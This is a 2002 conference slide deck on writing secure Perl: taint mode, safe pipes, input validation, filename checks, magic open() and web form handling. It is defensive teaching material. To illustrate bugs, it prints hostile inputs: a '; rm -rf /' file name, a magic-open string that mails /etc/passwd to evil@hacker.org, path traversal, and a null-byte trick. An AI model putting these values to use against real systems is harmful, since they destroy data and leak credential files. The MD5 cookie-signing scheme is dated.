The London Perl and Raku Workshop takes place on 26th Oct 2024. If your company depends on Perl, please consider sponsoring and/or attending.

Writing Secure Perl Programs

Peter Haworth

pmh@cpan.org

IOP Publishing Ltd.

O'Reilly Open Source Convention July 22-26, 2002

Outline

  • Robustness

  • Tainting

  • Child processes

  • Validate all user input

  • Filenames

  • Magic open()

  • Web applications

  • Safe sequence numbers

  • Dynamic method names

Introduction

Don't trust the user

  • Implicit trust -> eventual disaster

  • No trust -> more safety

Robustness

  • use strict

  • use warnings

  • Check return codes of system calls

      open STDOUT,'> write-protected';
  • Handle "impossible cases" explicitly

      if( $x == 1 ){
        do_this();
      }elsif( $x == 2 ){
        do_that();
      }
  • perl -T

Tainting

  • Data from external sources is tainted

      $^X  @ARGV  %ENV
      <>  read()  readline()  `` qx()    etc
      shmread()  msgrcv()  getpw*()      etc
  • All data derived from tainted data is also tainted

  • Tainted data can't affect external sources

      `` qx()  system()  exec()
      kill()
      unlink()  mkdir()  umask()  chmod()    etc
      open() (for writing)  NOT print() or write()
  • $1, $2, etc are (almost) never tainted

      my($untainted) = $tainted =~ /(\d+)/;

Child processes

  • Sanitise the environment

      %ENV=( PATH => '/bin:/usr/bin' );
  • Additional %ENV taint checks

      PATH IFS CDPATH ENV BASH_ENV
  • Don't invoke the shell

      # Unsafe:    $file eq "; rm -rf /"
      system "prog $file"      and die;
    
      # Safe
      system "prog \Q$file\E"  and die;
    
      # No shell, and less taint checks (for now)
      system '/bin/prog',$file and die;

Child processes - Safe pipes

  • Unsafe

      open my $fh,"| mail $user" or die;
      print $fh $msg;
      close $fh or die;
  • Safe, but invokes the shell

      open my $fh,"| /bin/mail \Q$user\E" or die;
      print $fh $msg;
      close $fh or die;
  • Safe and efficient

      defined(my $pid=open my $fh,'|-') or die;
      if(!$pid){
        exec '/bin/mail',$user;
        die "Can't exec";
      }
      print $fh $msg;
      close $fh or die;
  • Perl 5.8.0 - safe and programmer-efficient

      open my $fh,'|-','/bin/mail',$user or die;
      print $fh $msg;
      close $fh or die;

Validate all user input

  • Allow safe; don't disallow unsafe

      die "Bad!" if /[;<>&^"']/;     # Bad!
    
      die "Bad!" unless /\A[\w\s]+\z/; # Good
  • Check allowed ranges

      my ($num) = $input =~ /\A(\d+)\z/
        or die "Not an integer";
    
      $num >= 0 && $num <= 100
        or die "Out of range";
  • Make tests consistent

Filenames

  • Poison null byte

      # Unsafe if $filename eq "/etc/passwd\0"
      open my $fh, '<', "$filename.safe"
        or die "Invalid filename";
    
      # Safer
      die "Invalid filename"
        if $filename =~ /\0/;
      open my $fh, '<', "$filename.safe"
        or die "Invalid filename";
  • Don't allow paths

      # Prevents ../../../../etc/passwd
      die "Invalid filename"
        if $filename =~ m#/#;
  • Allow safe; don't disallow unsafe

      die "Invalid filename"
        unless $filename =~ /\A\w+\z/;

Magic open()

  • open FH,$fname;

    Full magic

      > /etc/passwd
      mail evil@hacker.org < /etc/passwd |
  • open FH,"< $fname";

    Slightly magical

      -f $fname;   # May be a different file
  • open FH,"< ./$fname\0";

    No magic

  • my $fh=IO::File->new($fname,'<');

    No magic, lexical filehandle

  • open my $fh,'<',$fname;

    As above, with perl 5.6.0

Web applications - HTML forms

  • Hidden fields aren't secure

      <input type="hidden" name="password"
        value="secret">
  • Expect multiple values

      # Unsafe
      # fname=stuff&fname=action&fname=delete
      %config = (
        action => 'create',
        filename => $cgi->param('fname'),
      );
    
      # Safe
      $sth->execute(
        scalar $cgi->param('fname')
      );
  • Expect the unexpected

Web applications - Cookies

  • Mostly like hidden fields

  • Message digest adds security

      # Standard with perl 5.8.0
      use Digest::MD5 qw(md5_hex);
    
      $cookie_val = $val . md5_hex(
        md5_hex($val . $secret1) . $secret2
      );
  • Check expiry dates

Safe sequence numbers

Not like this!
  my $seqn=$dbh->selectrow_array(q(
    select max(key_field)
    from table1
  ));
Let the database do it for you
  my $seqn=$dbh->selectall_arrayref(q(
    select nextval('name_of_sequence')
  ))->[0][0];
Or do it yourself
  sub nextval{
    my($name)=@_;
    $name=~/\A\w+\z/       or die "Bad sequence name";

    my $fh=IO::File->new("/path/$name",O_RDWR|O_CREAT)
                           or die "Can't open: $!";
    flock $fh,LOCK_EX      or die "Can't lock: $!";
    chomp(my $next=<$fh>);
    ++$next;
    seek $fh,0,0           or die "Can't rewind: $!";
    print $fh "$next\n"    or die "Can't write: $!";
    close $fh              or die "Can't close: $!";

    return $next;
  }

Dynamic method names

$obj -> $meth ()

  • Works if $meth is a method name

      my $meth = 'do_stuff';
      $obj -> $meth ();     # $obj->do_stuff()
  • Works across packages

      my $meth = 'Other::Pkg::do_stuff';
      $obj -> $meth ();
  • Taint checks don't protect

  • Restrict the user's choice

      if( $meth =~ /\A\w+\z/
        and my $ref = $obj->can("safe_$meth")
      ){
        $obj -> $ref ();
      }

References

http://www.dwheeler.com/secure-programs/

Secure programming for Linux/Unix

http://www.w3.org/Security/Faq/

WWW Security FAQ

perldoc perlsec

Perl documentation on tainting

$CPAN/authors/id/P/PM/PMH/secprog-tpc2002.tgz

Latest version of these slides and speaker's notes